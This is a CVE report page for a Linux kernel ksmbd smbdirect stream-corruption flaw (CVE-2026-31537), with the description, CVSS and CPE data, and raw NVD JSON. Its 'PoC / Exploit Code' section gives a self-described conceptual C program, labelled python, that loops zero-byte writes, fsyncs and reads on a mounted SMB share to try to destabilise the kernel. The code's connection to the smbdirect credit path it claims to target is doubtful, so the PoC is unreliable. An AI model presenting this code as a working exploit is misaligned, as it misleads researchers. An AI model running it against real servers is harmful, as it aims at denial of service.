Security Vulnerability Report
中文
CVE-2026-31537 CVSS 5.5 MEDIUM

CVE-2026-31537

Published: 2026-04-24 15:16:28
Last Modified: 2026-04-28 19:09:05
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: smb: server: make use of smbdirect_socket.send_io.bcredits It turns out that our code will corrupt the stream of reassabled data transfer messages when we trigger an immendiate (empty) send. In order to fix this we'll have a single 'batch' credit per connection. And code getting that credit is free to use as much messages until remaining_length reaches 0, then the batch credit it given back and the next logical send can happen.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
Linux Kernel (修复前版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * PoC for CVE-2026-31537: Linux Kernel SMB Server Stream Corruption * This is a conceptual PoC to trigger the immediate empty send condition. * Compile: gcc -o poc_cve2026_31537 poc_cve2026_31537.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> void trigger_vulnerability() { printf("[*] Attempting to trigger CVE-2026-31537...\n"); printf("[*] Targeting smbdirect_socket.send_io.bcredits logic...\n"); // Attempt to open a file on an SMB share mounted via ksmbd int fd = open("/mnt/smb_share/test_file", O_RDWR | O_CREAT, 0644); if (fd < 0) { perror("[-] Failed to open file"); return; } // Perform operations that may trigger the immediate empty send path // This stresses the credit handling logic in the kernel. char buffer[1] = {0}; for (int i = 0; i < 1000; i++) { // Writing 0 bytes might trigger specific empty send paths write(fd, buffer, 0); fsync(fd); // Immediate read to stress reassembly lseek(fd, 0, SEEK_SET); read(fd, buffer, 1); lseek(fd, 0, SEEK_END); } close(fd); printf("[+] Trigger sequence sent. Check kernel logs for instability.\n"); } int main() { trigger_vulnerability(); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31537", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-24T15:16:27.633", "lastModified": "2026-04-28T19:09:04.870", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: server: make use of smbdirect_socket.send_io.bcredits\n\nIt turns out that our code will corrupt the stream of\nreassabled data transfer messages when we trigger an\nimmendiate (empty) send.\n\nIn order to fix this we'll have a single 'batch' credit per\nconnection. And code getting that credit is free to use\nas much messages until remaining_length reaches 0, then\nthe batch credit it given back and the next logical send can\nhappen."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.15", "versionEndExcluding": "6.18.11", "matchCriteriaId": "15E921F5-9862-4FCB-AB2A-5ADDE34536EF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.1", "matchCriteriaId": "EE543C0D-A06B-414F-A403-CB1E088F261E"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/34abd408c8ba24d7c97bd02ba874d8c714f49db1", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/5ef18a2e66f2f33fdac64437bddfb9fe6389fdc7", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/79242e7b6bc63efec28b7c235bc320806afce6c0", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}